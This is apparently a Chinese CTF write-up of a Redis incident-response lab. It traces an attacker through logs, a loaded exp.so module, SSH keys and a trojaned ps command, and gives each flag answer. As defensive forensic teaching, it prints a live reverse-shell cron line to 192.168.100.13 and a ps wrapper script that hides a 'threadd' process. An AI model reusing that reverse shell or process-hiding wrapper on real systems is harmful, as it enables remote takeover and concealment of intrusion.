第二章 日志分析 - redis 应急响应

  • 靶机账号密码:root/xjredis
  • 要求如下:
    • 通过本地 PC SSH 到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
    • 通过本地 PC SSH 到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
    • 通过本地 PC SSH 到服务器并且分析黑客反弹 shell 的 IP 为多少,将反弹 shell 的 IP 作为 FLAG 提交;
    • 通过本地 PC SSH 到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串 (flag {黑客的用户 - 关键字符串}),将用户名和关键字符串作为 FLAG 提交
    • 通过本地 PC SSH 到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

1 Flag-1

根据题意可知,靶机使用的服务是 Redis。

使用 SSH 连接到靶机:

image-20251219003210415

查看服务器日志:

image-20251219003315923

查看 Redis 日志:

image-20251219003438768

接下往下分析日志内容,可以发现 192.168.100.13 一直尝试访问 MASTER:

image-20251219003618913

之后攻击者(可能)使用 REPLICAOF 命令进行切换,192.168.31.55 和 192.168.100.20 依次尝试连接,192.168.100.20 连接成功:

image-20251219004000972

使用命令排查一下是否还出现其他 IP:

1
2
3
4
root@ip-10-0-10-2:~# cat /var/log/redis.log | awk '{print $10}' | sort | uniq -c | grep '192'
48 192.168.100.13:8888
2 192.168.100.20:8888
1 192.168.31.55:8888

得出 Flag-1 为:

1
flag{192.168.100.20}

2 Flag-2

继续分析日志信息,发现在 192.168.100.20 连接成功后,加载了一个 exp.so 文件:

image-20251219004917699

在服务器上查找该文件(.so 文件是二进制文件):

1
2
root@ip-10-0-10-2:~# find / -name exp.so
/exp.so

由于 .so 是二进制文件,使用 hexdump 打开查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@ip-10-0-10-2:~# hexdump -C /exp.so | grep 'flag'
00006080 66 6c 61 67 7b 58 4a 5f 37 38 66 30 31 32 64 37 |flag{XJ_78f012d7|
00009060 67 42 75 66 66 65 72 00 5f 66 6c 61 67 73 00 5f |gBuffer._flags._|
root@ip-10-0-10-2:~# hexdump -C /exp.so | grep -B 3 -A 3 'flag'
00006050 b6 30 00 00 00 00 00 00 c6 30 00 00 00 00 00 00 |.0.......0......|
00006060 d6 30 00 00 00 00 00 00 e6 30 00 00 00 00 00 00 |.0.......0......|
00006070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00006080 66 6c 61 67 7b 58 4a 5f 37 38 66 30 31 32 64 37 |flag{XJ_78f012d7|
00006090 2d 34 32 66 63 2d 34 39 61 38 2d 38 61 38 63 2d |-42fc-49a8-8a8c-|
000060a0 65 37 34 63 38 37 65 61 31 30 39 62 7d 00 47 43 |e74c87ea109b}.GC|
000060b0 43 3a 20 28 44 65 62 69 61 6e 20 31 32 2e 32 2e |C: (Debian 12.2.|
--
00009030 72 65 65 44 69 63 74 00 53 4f 43 4b 5f 4e 4f 4e |reeDict.SOCK_NON|
00009040 42 4c 4f 43 4b 00 52 65 64 69 73 4d 6f 64 75 6c |BLOCK.RedisModul|
00009050 65 5f 44 69 67 65 73 74 41 64 64 53 74 72 69 6e |e_DigestAddStrin|
00009060 67 42 75 66 66 65 72 00 5f 66 6c 61 67 73 00 5f |gBuffer._flags._|
00009070 6d 6f 64 65 00 6d 73 74 69 6d 65 5f 74 00 52 65 |mode.mstime_t.Re|
00009080 64 69 73 4d 6f 64 75 6c 65 5f 47 65 74 43 6f 6e |disModule_GetCon|
00009090 74 65 78 74 46 6c 61 67 73 00 52 65 64 69 73 4d |textFlags.RedisM|

得出 Flag-2 为:

1
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

3 Flag-3

|![Warning] 注:靶机掉了一次,忘续了。

后续 Redis 日志就没特殊内容了。

在 Redis 中,反弹 Shell 一般是通过定时任务写入进行的,查看 /etc/crontab 文件:

image-20251219010516667

还挺正常,查看下 root 下的 cron:

1
2
3
4
5
6
7
8
9
root@ip-10-0-10-3:~# cat /var/spool/cron/crontabs/root
......
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
*/1 * * * * /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1
# m h dom mon dow command

发现了反弹 Shell 的语句:

1
*/1 * * * *  /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1

得出 Flag-3 为:

1
flag{192.168.100.13}

4 Flag-4

这里想了蛮久,居然是看 SSH 密钥文件(我吐了),翻日志翻了好久。

查看 root 目录下的 .ssh / authorized_keys 文件,该文件记录了连接的用户信息:

image-20251219011612164

可知黑客的用户名是:

1
xj-test-user

但还不够,由于题目还要求找到黑客使用的工具,大概率可在代码发布平台找到这个用户:

image-20251219011935892

不过找了半天没有,难道在被改过?

image-20251219012352229

还真是,找打了另外一部分:

image-20251219012459041

得出 Flag-4 为:

1
flag{xj-test-user-wow-you-find-flag}

5 Flag-5

由于题目提到了篡改命令,那使用 find 查找一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 根据之前的日志信息可以知道,攻击者访问时间是:31 Jul 2023,2023.07.31
root@ip-10-0-10-3:/# find / -type f -newermt "2023-07-31 00:00:00" ! -newermt "2023-08-01 00:00:00" 2>/dev/null
/exp.so
/root/.selected_editor
/root/.ssh/authorized_keys
/usr/local/bin/redis-check-rdb
/usr/local/bin/redis-benchmark
/usr/local/bin/redis-server
/usr/local/bin/redis-check-aof
/usr/local/bin/redis-cli
/usr/bin/ps_
/usr/bin/ps
/var/log/apt/eipp.log.xz
/var/log/apt/history.log.1.gz
/var/log/apt/term.log.1.gz
......

发现了两个命令文件:

1
2
/usr/bin/ps_
/usr/bin/ps

查看一下 ps(ps_ 是二进制文件):

1
2
3
4
5
6
7
8
9
10
11
root@ip-10-0-10-3:~# cat /usr/bin/ps
#/bin/bash
oldifs="$IFS"
IFS='\$n'
result=$(ps_ $1 $2 $3|grep -v 'threadd' )
for v in $result;
do
echo -e "$v\t";
done
IFS="$oldifs"
#//c195i2923381905517d818e313792d196

得出 Flag-5 为:

1
flag{c195i2923381905517d818e313792d196}